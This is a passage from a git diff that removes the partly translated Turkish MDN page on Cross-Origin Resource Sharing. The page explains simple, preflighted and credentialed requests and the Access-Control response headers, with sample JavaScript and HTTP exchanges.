href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li> - <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li> - <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li> - <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li> -</ul> diff --git a/files/tr/web/http/cors/index.html b/files/tr/web/http/cors/index.html deleted file mode 100644 index 2e7e690ab7..0000000000 --- a/files/tr/web/http/cors/index.html +++ /dev/null @@ -1,556 +0,0 @@ ---- -title: Cross-Origin Resource Sharing (CORS) -slug: Web/HTTP/CORS -translation_of: Web/HTTP/CORS ---- -<p><span class="seoSummary">Farklı Merkezler Arası Kaynak Paylaşımı (Yaygın olarak bilinen adıyla -</span>Cross-Origin Resource Sharing <span class="seoSummary">({{Glossary("CORS")}}) ) ek {{Glossary("HTTP")}} başlıkları (header)</span> kullanarak tarayıcıyla iletişime geçer ve farklı merkezler arasında gerçekleşen kaynak paylaşımı sırasında kaynak talep eden tarafın, kaynak sağlayan tarafça istenen izinlere sahip olup olmadığını tarayıcıya bildirir. Peki CORS ne zaman gerçekleşir. Hangi durumlarda merkezin farklı olduğu kabul edilir ? Bunu kısaca şöyle açıklayabiliriz, veri isteğinde bulunan taraf ile veri sağlayan taraflar arasında alan adı, protokol veya port farkı varsa tarafların farklı merkezlerde yer aldığı kabul edilmektedir.</p> - -<p>Olayı daha açık bir şekilde anlamak için aşağıdaki örneğe göz atalım. Aşağıda iki farklı merkez arasında veri paylaşımı gerçekleşmektedir.</p> - -<p><code>http://domain-a.com</code> uzantılı bir web sitemizin olduğunu ve sitemizde yer alan bazı modüllerin çalışması için <code>http://api.domain-b.com/data.json</code> sitesine ait API servisininden {{domxref("XMLHttpRequest")}} oluşturarak veri çektğimizi varsayalım. Burada doğrudan iki farklı domain söz konusu olduğu için, doğal olarak yaptığınız bu veri talebi tarayıcılar tarafından <strong>Farklı Kaynaklar Arası Veri Paylaşımı </strong>olarak görülecek ve isteğiniz bu bağlamda muamele görecektir.</p> - -<p>Güvenlik önemleri nedeniyle tarayıcılar farklı merkezler arasında yapılan HTTP isteklerini engellemektedir. Keza veri transferi amacıyla kullandığımız <code>XMLHttpRequest</code> ve <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> tek merkez politikasına (<a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>) tabidirler. Dolayısıyla bir XMLHttpRequest oluşturduğunuzda veya Fetch API kullandığınızda eğer hedef siteniz ile veri trasferinde bulunmak için gerekli başlıklara (header) sahip değilseniz, tek merkez politikası nedeniyle gönderdiğiniz bu istekler tarayıcılar tarafından engellenecektir.</p> - -<p>Ancak istisnai olarak bazı web servislerinde bütün merkezler ile veri paylaşımı kabul edilmiş olabilir, herhangi bir kısıtlama olmayabilir, bu gibi servisler ile çalışırken herhangi bir ek başlığa sahip olmasanız dahi CORS hatası almaksızın, bu servisler ile veri transferinde bulunabilirsiniz.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> - -<p>CORS mekanizması tarayıcılar ve web servisleri arasında güvenli farklı merkezli istekleri ve veri transferlerini desteklemektedir .Modern tarayıcılar Farklı Merkezler Arası Kaynak Paylaşımı sistemini XMLHttpReqest ve Fetch gibi yapılar ile birlikte kullanarak, farklı merkezler arasında yapılan http isteklerini daha güvenli hale getirmeye çalışmaktadır. </p> - -<h2 id="Bu_makaleyi_kimler_okumalı">Bu makaleyi kimler okumalı?</h2> - -<p>Gerçekten herkes okumalı.</p> - -<p>Daha özelde, bu makale web adminleri, sunucu geliştiricileri ve front-end geliştiricileri içindir. Modern tarayıcılar, başlıklar ve poliçe uygulamaları dahil olmak üzere çapraz kaynak paylaşımının istemci tarafı bileşenlerini işler. Ancak bu yeni standart, sunucuların yeni request ve response headerlarını işlemesi gerektiği anlamına gelir. Diğer makale <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">çapraz-köken paylaşımını sunucu perspektifinden (PHP kod parçacıklarıyla)</a> tartışan sunucu geliştiricileri için tamamlayıcı bir okumadır.</p> - -<h2 id="Hangi_istekler_CORS_kullanır">Hangi istekler CORS kullanır?</h2> - -<p>Bu <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">çapraz-köken paylaşma standardı</a> siteler arası HTTP isteklerini etkinleştirmek için kullanılır:</p> - -<ul> - <li>Yukarıda tartışıldığı gibi {{domxref("XMLHttpRequest")}} veya <a href="/en-US/docs/Web/API/Fetch_API">Fetch API'lerinin</a> çağrıları.</li> - <li>Web Fontları (CSS içindeki <code>@font-face</code> içinde çapraz-domain font kullanımı için), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">böylece sunucular yalnızca izin verilen web siteleri tarafından siteler arası yüklenebilen ve kullanılabilen TrueType fontları dağıtabilir.</a></li> - <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL texture'ları</a>.</li> - <li>{{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} kullanılarak bir tuvale çizilen resimler/video çerçeveleri.</li> - <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Resimlerden CSS şekilleri. </a></li> -</ul> - -<p>Bu makale, Çapraz-Köken Arası Kaynak Paylaşımı hakkında genel bir tartışmadır ve gerekli HTTP headerlarının bir tartışmasını içerir.</p> - -<h2 id="Fonksiyonel_genel_bakış">Fonksiyonel genel bakış</h2> - -<p>Çapraz-Köken Kaynak Paylaşımı standardı, hangi originlerin bir web tarayıcısından istenilen bilgiyi okumalarına izin verildiğini sunucuların tanımlamasına izin veren yeni <a href="/en-US/docs/Web/HTTP/Headers">HTTP headerlarını</a> ekleyerek çalışır. Ayrıca, sunucu verileri üzerinde yan etkilere neden olabilecek HTTP istek yöntemleri için (özellikle, {{HTTPMethod ("GET")}} veya {{HTTPMethod ("POST")}} dışında belirli <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME tiplerindeki</a> HTTP yöntemleri), şartname, tarayıcıların HTTP {{HTTPMethod ("OPTIONS")}} istek yöntemiyle desteklenen yöntemleri sunucudan talep ederek isteği "preflight" ve ardından sunucudan "approval" aldıktan sonra asıl isteği göndermesini zorunlu kılar. Sunucular ayrıca istemcilere "credentials"(<a href="/en-US/docs/Web/HTTP/Cookies">Cookie'ler</a> ve <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Authentication">HTTP kimlik doğrulama</a> verileri dahil) bilgisinin istekler ile gönderilip gönderilmeyeceğini bildirebilir.</p> - -<p>CORS başarısızlıkları hatalara neden olur, ancak güvenlik sebepleri için hata ile ilgili ayrıntılar <em>JavaScript tarafından erişilemez</em>. Kodun bildiği tek şey bir hata oluşmasıdır. Özellikle neyin yanlış gittiğini belirlemenin tek yolu, ayrıntılar için tarayıcının konsoluna bakmaktır.</p> - -<p>Sonraki bölümler senaryoları tartışır ve kullanılan HTTP headerlarının analizini sağlar.</p> - -<h2 id="Examples_of_access_control_scenarios">Examples of access control scenarios</h2> - -<p>Here, we present three scenarios that illustrate how Cross-Origin Resource Sharing works. All of these examples use the {{domxref("XMLHttpRequest")}} object, which can be used to make cross-site invocations in any supporting browser.</p> - -<p>The JavaScript snippets included in these sections (and running instances of the server-code that correctly handles these cross-site requests) can be found "in action" at <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, and will work in browsers that support cross-site <code>XMLHttpRequest</code>.</p> - -<p>A discussion of Cross-Origin Resource Sharing from a server perspective (including PHP code snippets) can be found in the <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a> article.</p> - -<h3 id="Simple_requests">Simple requests</h3> - -<p>Some requests don’t trigger a <a href="#Preflighted_requests">CORS preflight</a>. Those are called “simple requests” in this article, though the {{SpecName('Fetch')}} spec (which defines CORS) doesn’t use that term. A request that doesn’t trigger a <a href="#Preflighted_requests">CORS preflight</a>—a so-called “simple request” — is one that <strong>meets all the following conditions</strong>:</p> - -<ul> - <li>The only allowed methods are: - <ul> - <li>{{HTTPMethod("GET")}}</li> - <li>{{HTTPMethod("HEAD")}}</li> - <li>{{HTTPMethod("POST")}}</li> - </ul> - </li> - <li>Apart from the headers set automatically by the user agent (for example, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, or <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">any of the other headers with names defined in the Fetch spec as a “forbidden header name”</a>), the only headers which are allowed to be manually set are <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">those which the Fetch spec defines as being a “CORS-safelisted request-header”</a>, which are: - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (but note the additional requirements below)</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> - <li>{{HTTPHeader("Downlink")}}</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> - </ul> - </li> - <li>The only allowed values for the {{HTTPHeader("Content-Type")}} header are: - <ul> - <li><code>application/x-www-form-urlencoded</code></li> - <li><code>multipart/form-data</code></li> - <li><code>text/plain</code></li> - </ul> - </li> - <li>No event listeners are registered on any {{domxref("XMLHttpRequestUpload")}} object used in the request; these are accessed using the {{domxref("XMLHttpRequest.upload")}} property.</li> - <li>No {{domxref("ReadableStream")}} object is used in the request.</li> -</ul> - -<div class="note"><strong>Note:</strong> These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.</div> - -<div class="note"><strong>Note:</strong> WebKit Nightly and Safari Technology Preview place additional restrictions on the values allowed in the {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, and {{HTTPHeader("Content-Language")}} headers. If any of those headers have ”non-standard” values, WebKit/Safari does not consider the request to meet the conditions for a “simple request”. What WebKit/Safari considers “non-standard” values for those headers is not documented except in the following WebKit bugs: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. No other browsers implement those extra restrictions, because they’re not part of the spec.</div> - -<p>For example, suppose web content on domain <code class="plain">http://foo.example</code> wishes to invoke content on domain <code class="plain">http://bar.other</code>. Code of this sort might be used within JavaScript deployed on foo.example:</p> - -<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest(); -const url = 'http://bar.other/resources/public-data/'; - -function callOtherDomain() { - if(invocation) { - invocation.open('GET', url, true); - invocation.onreadystatechange = handler; - invocation.send(); - } -} -</pre> - -<p>This will lead to a simple exchange between the client and the server, using CORS headers to handle the privileges:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> - -<p>Let us look at what the browser will send to the server in this case, and let's see how the server responds:</p> - -<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/access-control/simpleXSInvocation.html -Origin: http://foo.example - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 00:23:53 GMT -Server: Apache/2.0.61 -Access-Control-Allow-Origin: * -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Transfer-Encoding: chunked -Content-Type: application/xml - -[XML Data] -</pre> - -<p>Lines 1 - 10 are headers sent. The main HTTP request header of note here is the {{HTTPHeader("Origin")}} header on line 10 above, which shows that the invocation is coming from content on the domain <code class="plain">http://foo.example</code>.</p> - -<p>Lines 13 - 22 show the HTTP response from the server on domain <code class="plain">http://bar.other</code>. In response, the server sends back an {{HTTPHeader("Access-Control-Allow-Origin")}} header, shown above in line 16. The use of the {{HTTPHeader("Origin")}} header and of {{HTTPHeader("Access-Control-Allow-Origin")}} show the access control protocol in its simplest use. In this case, the server responds with a <code>Access-Control-Allow-Origin: *</code> which means that the resource can be accessed by <strong>any</strong> domain in a cross-site manner. If the resource owners at <code class="plain">http://bar.other</code> wished to restrict access to the resource to requests only from <code class="plain">http://foo.example</code>, they would send back:</p> - -<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p> - -<p>Note that now, no domain other than <code class="plain">http://foo.example</code> (identified by the ORIGIN: header in the request, as in line 10 above) can access the resource in a cross-site manner. The <code>Access-Control-Allow-Origin</code> header should contain the value that was sent in the request's <code>Origin</code> header.</p> - -<h3 id="Preflighted_requests">Preflighted requests</h3> - -<p>Unlike <a href="#Simple_requests">“simple requests” (discussed above)</a>, "preflighted" requests first send an HTTP request by the {{HTTPMethod("OPTIONS")}} method to the resource on the other domain, in order to determine whether the actual request is safe to send. Cross-site requests are preflighted like this since they may have implications to user data.</p> - -<p>In particular, a request is preflighted if <strong>any of the following conditions</strong> is true:</p> - -<ul> - <li><strong>If</strong> the request uses any of the following methods: - - <ul> - <li>{{HTTPMethod("PUT")}}</li> - <li>{{HTTPMethod("DELETE")}}</li> - <li>{{HTTPMethod("CONNECT")}}</li> - <li>{{HTTPMethod("OPTIONS")}}</li> - <li>{{HTTPMethod("TRACE")}}</li> - <li>{{HTTPMethod("PATCH")}}</li> - </ul> - </li> - <li><strong>Or if</strong>, apart from the headers set automatically by the user agent (for example, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, or <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">any of the <strong>OTHER</strong> header with a name defined in the Fetch spec as a “forbidden header name”</a>), the request includes any headers other than <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">those which the Fetch spec defines as being a “CORS-safelisted request-header”</a>, which are the following: - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (but note the additional requirements below)</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> - <li>{{HTTPHeader("Downlink")}}</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> - </ul> - </li> - <li><strong>Or if</strong> the {{HTTPHeader("Content-Type")}} header has a value <strong>OTHER THAN</strong> the following: - <ul> - <li><code>application/x-www-form-urlencoded</code></li> - <li><code>multipart/form-data</code></li> - <li><code>text/plain</code></li> - </ul> - </li> - <li><strong>Or if</strong> one or more event listeners are registered on an {{domxref("XMLHttpRequestUpload")}} object used in the request.</li> - <li><strong>Or if</strong> a {{domxref("ReadableStream")}} object is used in the request.</li> -</ul> - -<div class="note"><strong>Note:</strong> WebKit Nightly and Safari Technology Preview place additional restrictions on the values allowed in the {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, and {{HTTPHeader("Content-Language")}} headers. If any of those headers have ”non-standard” values, WebKit/Safari preflights the request. What WebKit/Safari considers “non-standard” values for those headers is not documented except in the following WebKit bugs: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. No other browsers implement those extra restrictions, because they’re not part of the spec.</div> - -<p>The following is an example of a request that will be preflighted.</p> - -<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest(); -const url = 'http://bar.other/resources/post-here/'; -const body = '<?xml version="1.0"?><person><name>Arun</name></person>'; - -function callOtherDomain(){ - if(invocation) - { - invocation.open('POST', url, true); - invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); - invocation.setRequestHeader('Content-Type', 'application/xml'); - invocation.onreadystatechange = handler; - invocation.send(body); - } -} - -...... -</pre> - -<p>In the example above, line 3 creates an XML body to send with the <code>POST</code> request in line 8. Also, on line 9, a "customized" (non-standard) HTTP request header is set (<code>X-PINGOTHER: pingpong</code>). Such headers are not part of the HTTP/1.1 protocol, but are generally useful to web applications. Since the request uses a Content-Type of <code>application/xml</code>, and since a custom header is set, this request is preflighted.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16401/preflight_.png" style="height: 555px; width: 538px;"></p> - -<p>(Note: as described below, the actual POST request does not include the Access-Control-Request-* headers; they are needed only for the OPTIONS request.)</p> - -<p>Let's take a look at the full exchange between client and server. The first exchange is the <em>preflight request/response</em>:</p> - -<pre class="brush: none;highlight:[1,10,11,17-20]">OPTIONS /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Origin: http://foo.example -Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:39 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET, OPTIONS -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400 -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 0 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain -</pre> - -<p>Once the preflight request is complete, the real request is sent:</p> - -<pre class="brush: none;">POST /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -X-PINGOTHER: pingpong -Content-Type: text/xml; charset=UTF-8 -Referer: http://foo.example/examples/preflightInvocation.html -Content-Length: 55 -Origin: http://foo.example -Pragma: no-cache -Cache-Control: no-cache - -<?xml version="1.0"?><person><name>Arun</name></person> - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:40 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 235 -Keep-Alive: timeout=2, max=99 -Connection: Keep-Alive -Content-Type: text/plain - -[Some GZIP'd payload] -</pre> - -<p>Lines 1 - 12 above represent the preflight request with the {{HTTPMethod("OPTIONS")}} method. The browser determines that it needs to send this based on the request parameters that the JavaScript code snippet above was using, so that the server can respond whether it is acceptable to send the request with the actual request parameters. OPTIONS is an HTTP/1.1 method that is used to determine further information from servers, and is a {{Glossary("safe")}} method, meaning that it can't be used to change the resource. Note that along with the OPTIONS request, two other request headers are sent (lines 10 and 11 respectively):</p> - -<pre class="brush: none">Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type -</pre> - -<p>The {{HTTPHeader("Access-Control-Request-Method")}} header notifies the server as part of a preflight request that when the actual request is sent, it will be sent with a <code>POST</code> request method. The {{HTTPHeader("Access-Control-Request-Headers")}} header notifies the server that when the actual request is sent, it will be sent with a <code>X-PINGOTHER</code> and <code>Content-Type</code> custom headers. The server now has an opportunity to determine whether it wishes to accept a request under these circumstances.</p> - -<p>Lines 14 - 26 above are the response that the server sends back indicating that the request method (<code>POST</code>) and request headers (<code>X-PINGOTHER</code>) are acceptable. In particular, let's look at lines 17-20:</p> - -<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400</pre> - -<p>The server responds with <code>Access-Control-Allow-Methods</code> and says that <code>POST</code> and <code>GET</code> are viable methods to query the resource in question. Note that this header is similar to the {{HTTPHeader("Allow")}} response header, but used strictly within the context of access control.</p> - -<p>The server also sends <code>Access-Control-Allow-Headers</code> with a value of "<code>X-PINGOTHER, Content-Type</code>", confirming that these are permitted headers to be used with the actual request. Like <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> is a comma separated list of acceptable headers.</p> - -<p>Finally, {{HTTPHeader("Access-Control-Max-Age")}} gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. In this case, 86400 seconds is 24 hours. Note that each browser has a <a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">maximum internal value</a> that takes precedence when the <code>Access-Control-Max-Age</code> is greater.</p> - -<h4 id="Preflighted_requests_and_redirects">Preflighted requests and redirects</h4> - -<p>Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.</p> - -<blockquote> -<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> -</blockquote> - -<blockquote> -<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> -</blockquote> - -<p>The CORS protocol originally required that behavior but <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">was subsequently changed to no longer require it</a>. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.</p> - -<p>So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:</p> - -<ul> - <li>change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to</li> - <li>change the request such that it is a <a href="#Simple_requests">simple request</a> that doesn’t cause a preflight</li> -</ul> - -<p>But if it’s not possible to make those changes, then another way that may be possible is to this:</p> - -<ol> - <li>Make a <a href="#Simple_requests">simple request</a> (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.</li> - <li>Make another request (the “real” request) using the URL you obtained from <code>Response.url</code> or <code>XMLHttpRequest.responseURL</code> in the first step.</li> -</ol> - -<p>However, if the request is one that triggers a preflight due to the presence of the <code>Authorization</code> header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.</p> - -<h3 id="Requests_with_credentials">Requests with credentials</h3> - -<p>The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> and CORS is the ability to make "credentialed" requests that are aware of <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> and HTTP Authentication information. By default, in cross-site <code>XMLHttpRequest</code> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> invocations, browsers will <strong>not</strong> send credentials. A specific flag has to be set on the <code>XMLHttpRequest</code> object or the {{domxref("Request")}} constructor when it is invoked.</p> - -<p>In this example, content originally loaded from <code class="plain">http://foo.example</code> makes a simple GET request to a resource on <code class="plain">http://bar.other</code> which sets Cookies. Content on foo.example might contain JavaScript like this:</p> - -<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest(); -const url = 'http://bar.other/resources/credentialed-content/'; - -function callOtherDomain(){ - if(invocation) { - invocation.open('GET', url, true); - invocation.withCredentials = true; - invocation.onreadystatechange = handler; - invocation.send(); - } -}</pre> - -<p>Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the <code>withCredentials</code> boolean value. By default, the invocation is made without Cookies. Since this is a simple <code>GET</code> request, it is not preflighted, but the browser will <strong>reject</strong> any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> header, and <strong>not</strong> make the response available to the invoking web content.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> - -<p>Here is a sample exchange between client and server:</p> - -<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/credential.html -Origin: http://foo.example -Cookie: pageAccess=2 - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:34:52 GMT -Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 -X-Powered-By: PHP/5.2.6 -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Credentials: true -Cache-Control: no-cache -Pragma: no-cache -Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 106 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain - - -[text/plain payload] -</pre> - -<p>Although line 11 contains the Cookie destined for the content on <code class="plain">http://bar.other</code>, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (line 19) the response would be ignored and not made available to web content.</p> - -<h4 id="Credentialed_requests_and_wildcards">Credentialed requests and wildcards</h4> - -<p>When responding to a credentialed request, the server <strong>must</strong> specify an origin in the value of the <code>Access-Control-Allow-Origin</code> header, instead of specifying the "<code>*</code>" wildcard.</p> - -<p>Because the request headers in the above example include a <code>Cookie</code> header, the request would fail if the value of the <code>Access-Control-Allow-Origin</code> header were "*". But it does not fail: Because the value of the <code>Access-Control-Allow-Origin</code> header is "<code class="plain">http://foo.example</code>" (an actual origin) rather than the "<code>*</code>" wildcard, the credential-cognizant content is returned to the invoking web content.</p> - -<p>Note that the <code>Set-Cookie</code> response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.</p> - -<h4 id="Third-party_cookies">Third-party cookies</h4> - -<p>Note that cookies set in CORS responses are subject to normal third-party cookie policies. In the example above, the page is loaded from <code>foo.example</code>, but the cookie on line 22 is sent by <code>bar.other</code>, and would thus not be saved if the user has configured their browser to reject all third-party cookies.</p> - -<h2 id="The_HTTP_response_headers">The HTTP response headers</h2> - -<p>This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.</p> - -<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> - -<p>A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:</p> - -<pre class="brush: none">Access-Control-Allow-Origin: <origin> | * -</pre> - -<p><code>Access-Control-Allow-Origin</code> specifies either a single origin, which tells browsers to allow that origin to access the resource; or else — for requests <strong>without</strong> credentials — the "<code>*</code>" wildcard, to tell browsers to allow any origin to access the resource.</p> - -<p>For example, to allow code from the origin <code>http://mozilla.org</code> to access the resource, you can specify:</p> - -<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre> - -<p>If the server specifies a single origin rather than the "<code>*</code>" wildcard, then the server should also include <code>Origin</code> in the {{HTTPHeader("Vary")}} response header — to indicate to clients that server responses will differ based on the value of the {{HTTPHeader("Origin")}} request header.</p> - -<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> - -<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p> - -<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header -</pre> - -<p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p> - -<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> - -<p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p> - -<pre class="brush: none">Access-Control-Max-Age: <delta-seconds> -</pre> - -<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p> - -<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> - -<p>The 